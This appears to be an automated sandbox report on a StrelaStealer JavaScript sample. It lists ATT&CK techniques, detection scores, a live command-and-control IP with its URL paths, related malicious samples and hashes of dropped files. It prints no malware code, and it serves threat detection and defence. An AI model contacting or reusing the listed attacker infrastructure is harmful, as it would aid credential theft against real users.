Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
27458284801797225280.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
27458284801797225280.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/YD	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pace8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 0000000E.00000002.2565332518.00000163E6600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1347433997.0000027D053C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347433997.0000027D053FB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347433997.0000027D0541C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/YD	net.exe, 0000000C.00000002.1347433997.0000027D053FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace8	net.exe, 0000000C.00000002.1347433997.0000027D053C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000E.00000003.1333256310.00000163E6480000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588315
Start date and time:	2025-01-10 23:53:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	27458284801797225280.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 23.40.179.66, 23.40.179.60, 23.40.179.62, 23.40.179.63, 23.40.179.59, 23.40.179.57, 23.40.179.56, 23.40.179.65, 23.40.179.68, 13.107.246.45, 50.16.47.176, 172.202.163.200, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:53:56	API Interceptor	21x Sleep call for process: powershell.exe modified
17:54:00	API Interceptor	1x Sleep call for process: net.exe modified
17:54:00	API Interceptor	2x Sleep call for process: svchost.exe modified
17:54:08	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807470349474034
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9p:0J7adfWuK0p/QDfKoPeuP0aN4fqoxy
MD5:	E0B59DB09F91E8A2CC2D3EC0DE70C043
SHA1:	C7891C5B6F3DA3F931503F03D24DFBBEE0CAACCC
SHA-256:	121F5D793C9D337172196A798667AC9545D1694E62F5374526E9EDAE4C4F8D5B
SHA-512:	3BFC51F437B652F6448A2DDE79753AAE3FB56289D1EE22265A141CBDA93CF397CC94F80DB725BE51920AD264D75B6C572FEFD7EF61DD9E36BF1061C429A8921E
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x70d80d20, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.788023459258773
Encrypted:	false
SSDEEP:	1536:/SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:/azaPv4V4fXq2UaB
MD5:	F610E18C3C49050B71734A2C7C244D81
SHA1:	3459FD81CC82FEDC990BF6370B01041AAC9C73DE
SHA-256:	970C63BA257F36DFC094B737A8A216EFB5E0FA67D6692E9788EB2625364F55B8
SHA-512:	DF1175FA2E6FEE18B7B974995F598AB4F199C5CBD427F1D3BA4E25ED40A5B631A621104E926C0C8E747BCE4D730D6CD83EEEEBF8466034340B7D99D0866D59CC
Malicious:	false
Preview:	p.. ... ...............X\...;...{......................X............{...6...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................J.?).6...}.<..................0/.6...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08105959366215812
Encrypted:	false
SSDEEP:	3:TyYeTnMClmXlVG0+q2Iqe8lRk/8H+llNTt/4ll/Q6beV/:TyzTLUGE8lRkNHtc6V
MD5:	FD92670C24DF753DA1196C4F569E6776
SHA1:	113854A9A9E7A63A6329FAC0650EEC122CB7DA65
SHA-256:	2DF1C098F426F3A058E97AAC1FC101A79F7256D0F59F057C2D3ABF4C44FA69EB
SHA-512:	BC657D111620F389544D16FA4A79F0782FF107C16E1A4C014EB0424385D01FEF76D72842646B5C1E4B3AC80836A27D1C14B63D0CB14D793571AAEE7C42F1DD58
Malicious:	false
Preview:	.[l......................................;...{...6...}.......{...............{.......{....:......{...................0/.6...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.176598179423382
Encrypted:	false
SSDEEP:	6:iO4Zz3+q2PFi2nKuAl9OmbnIFUtSZRZmwsZiYVkwOFi2nKuAl9OmbjLJ:7C+vdZHAahFUtu/fYV5wZHAaSJ
MD5:	8610AC2FA47B1D7E057D0A8AA1555E0D
SHA1:	D5DB4D7481DA362EF95FA44E50867EE55F6E6B9F
SHA-256:	41763BBA541DD747DE5AAB36FF2B2CD3085BC5ED0276D9E22774E26156F4A314
SHA-512:	586607EA9569510E0624D6341CBC11A171C3476CBAB7AD86AC572352FB13DB8B607BB1915B2E365F5A1E2FFD0F079998563923E441FAD64F6C8E3D048BA1BC66
Malicious:	false
Preview:	2025/01/10-17:54:00.337 174c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:54:00.339 174c Recovering log #3.2025/01/10-17:54:00.340 174c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.176598179423382
Encrypted:	false
SSDEEP:	6:iO4Zz3+q2PFi2nKuAl9OmbnIFUtSZRZmwsZiYVkwOFi2nKuAl9OmbjLJ:7C+vdZHAahFUtu/fYV5wZHAaSJ
MD5:	8610AC2FA47B1D7E057D0A8AA1555E0D
SHA1:	D5DB4D7481DA362EF95FA44E50867EE55F6E6B9F
SHA-256:	41763BBA541DD747DE5AAB36FF2B2CD3085BC5ED0276D9E22774E26156F4A314
SHA-512:	586607EA9569510E0624D6341CBC11A171C3476CBAB7AD86AC572352FB13DB8B607BB1915B2E365F5A1E2FFD0F079998563923E441FAD64F6C8E3D048BA1BC66
Malicious:	false
Preview:	2025/01/10-17:54:00.337 174c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:54:00.339 174c Recovering log #3.2025/01/10-17:54:00.340 174c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.166225404156016
Encrypted:	false
SSDEEP:	6:iO4ZIq2PFi2nKuAl9Ombzo2jMGIFUtSZDXZmwsZDFkwOFi2nKuAl9Ombzo2jMmLJ:7VvdZHAa8uFUtAX/SF5wZHAa8RJ
MD5:	D839978F0E8070BEF8C4FF154173E60B
SHA1:	DDC09CD44CD1F32BEC8012A0BE293228AF37CEA5
SHA-256:	154D24B945369D5D9DD6842D530758EADCB21A38AE4FDBAAA915057A12E8452D
SHA-512:	4A8688A431F7EFEAB14048AEBFCF76F005606BE2475443946B610F1ED3E2C13295584047E28EFC8553E28B541DC0E9610B7FDCC9D1D62F4CB8050E2743CEBE7B
Malicious:	false
Preview:	2025/01/10-17:54:00.566 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:54:00.568 1d20 Recovering log #3.2025/01/10-17:54:00.568 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.166225404156016
Encrypted:	false
SSDEEP:	6:iO4ZIq2PFi2nKuAl9Ombzo2jMGIFUtSZDXZmwsZDFkwOFi2nKuAl9Ombzo2jMmLJ:7VvdZHAa8uFUtAX/SF5wZHAa8RJ
MD5:	D839978F0E8070BEF8C4FF154173E60B
SHA1:	DDC09CD44CD1F32BEC8012A0BE293228AF37CEA5
SHA-256:	154D24B945369D5D9DD6842D530758EADCB21A38AE4FDBAAA915057A12E8452D
SHA-512:	4A8688A431F7EFEAB14048AEBFCF76F005606BE2475443946B610F1ED3E2C13295584047E28EFC8553E28B541DC0E9610B7FDCC9D1D62F4CB8050E2743CEBE7B
Malicious:	false
Preview:	2025/01/10-17:54:00.566 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:54:00.568 1d20 Recovering log #3.2025/01/10-17:54:00.568 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.975510617221553
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHsBdOg2H92caq3QYiubpP7E4T3y:Y2sRds9dMH9J3QYhbd7nby
MD5:	6D3689E12C94166F20FA7E7AA3042F31
SHA1:	2F386F5798AA4DCCF62DFC22D8AEADAD511AB344
SHA-256:	89690F0B23A37437D47C7180EC99DF6E248AF69AB829B12E622C69A8434EA35F
SHA-512:	E2401821498297176A8880A7D7772899079AC3271C7AD90BE088B7D3C5A458A56CDE9B22ED0BAFBF2DA19252AD97C0D062CEB9E22E8AE22B7495697C6AF6BD1E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109652164760","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":171542},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a01d9b82-b5f5-4642-b550-e8a2a79f5e49.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.975510617221553
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHsBdOg2H92caq3QYiubpP7E4T3y:Y2sRds9dMH9J3QYhbd7nby
MD5:	6D3689E12C94166F20FA7E7AA3042F31
SHA1:	2F386F5798AA4DCCF62DFC22D8AEADAD511AB344
SHA-256:	89690F0B23A37437D47C7180EC99DF6E248AF69AB829B12E622C69A8434EA35F
SHA-512:	E2401821498297176A8880A7D7772899079AC3271C7AD90BE088B7D3C5A458A56CDE9B22ED0BAFBF2DA19252AD97C0D062CEB9E22E8AE22B7495697C6AF6BD1E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109652164760","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":171542},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.23007892110969
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVinxe:wshFT0h7cZb2EVKZPEANcGIK5EVinxe
MD5:	6C0337B761998DA61464375ADE223725
SHA1:	62A119E4B529F83653220D20C997E04F7C8E10B8
SHA-256:	D643E34196ED838D086BC18976992AE14B6187B866BA3F1F775D59F6B45FB5B4
SHA-512:	DCD024DF8B243AECE0EB36303673206BF0081323A06DA773ABE07876E43D0EDEC391213AC1E2B7BAABC0C347E9D9AA45F3BC1476A9DF683AAF3C5E2532EA42B0
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.173950679728848
Encrypted:	false
SSDEEP:	6:iO4Z/q2PFi2nKuAl9OmbzNMxIFUtSZgaDXZmwsZiHkwOFi2nKuAl9OmbzNMFLJ:7qvdZHAa8jFUtHw/T5wZHAa84J
MD5:	9B2C3EB3E7DFB30DA0FC31DF8B03480F
SHA1:	FBB6B0E6353B19760EEB12CA2481026DCD211D65
SHA-256:	A470F915F7427C627FCBE053C188CF9CA156A79FCF412056728FEBF40B2EAAE3
SHA-512:	D3E06A3ABA92FEC2115EB3193F8C9EC65E32C6E8F2B0B5BB275C52D035E07B3298177DBC67C1688C577F420972DCFD1A43DEF63DF28632920358A347E87D2B26
Malicious:	false
Preview:	2025/01/10-17:54:01.386 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:54:01.406 1d20 Recovering log #3.2025/01/10-17:54:01.421 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.173950679728848
Encrypted:	false
SSDEEP:	6:iO4Z/q2PFi2nKuAl9OmbzNMxIFUtSZgaDXZmwsZiHkwOFi2nKuAl9OmbzNMFLJ:7qvdZHAa8jFUtHw/T5wZHAa84J
MD5:	9B2C3EB3E7DFB30DA0FC31DF8B03480F
SHA1:	FBB6B0E6353B19760EEB12CA2481026DCD211D65
SHA-256:	A470F915F7427C627FCBE053C188CF9CA156A79FCF412056728FEBF40B2EAAE3
SHA-512:	D3E06A3ABA92FEC2115EB3193F8C9EC65E32C6E8F2B0B5BB275C52D035E07B3298177DBC67C1688C577F420972DCFD1A43DEF63DF28632920358A347E87D2B26
Malicious:	false
Preview:	2025/01/10-17:54:01.386 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:54:01.406 1d20 Recovering log #3.2025/01/10-17:54:01.421 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438624489434275
Encrypted:	false
SSDEEP:	384:yejci5GkiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0ourVgazUpUTTGt
MD5:	0DB7328796196A4D71510D19E7A53CE4
SHA1:	8D3A24757A283B110CA95C9B8CC183B54F6B42BD
SHA-256:	E8D6DE9893C05CFB8AA6302656DA1AE8917DA22B442095B0FE82A156DCE0D75F
SHA-512:	F55B57BA7C7A921E0D1A2E1713B273DCF8345B4085003D8FA4B51F734D362299097CB74A6C8EF8BDB64AF9AC6CA2B98524C4DAC928A9BEB2CFDEE4DC3FA8E54F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7740876212694214
Encrypted:	false
SSDEEP:	48:7MHp/E2ioyV2ioy5oWoy1CUoy16KOioy1noy1AYoy1Wioy1hioybioyYoy1noy19:70pju2J5XKQBRb9IVXEBodRBkz
MD5:	6511B0B6C21A26BB86039C711F02D07A
SHA1:	98DE3A577784300A614EF3E110C8A283CC5AF451
SHA-256:	79D924D562A27364BFCD51A1717F7A259CE32F9BF200CE420BE23EB13FCFA4A9
SHA-512:	48926EF64A7EB66B47C947D4B8E30735473801F2A4A232441B5FE7E9506066DB5EFF6010FFE76F75B5BFB00F6593526E1595D9E4722675FA0F8678221920CFC0
Malicious:	false
Preview:	.... .c......<E................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
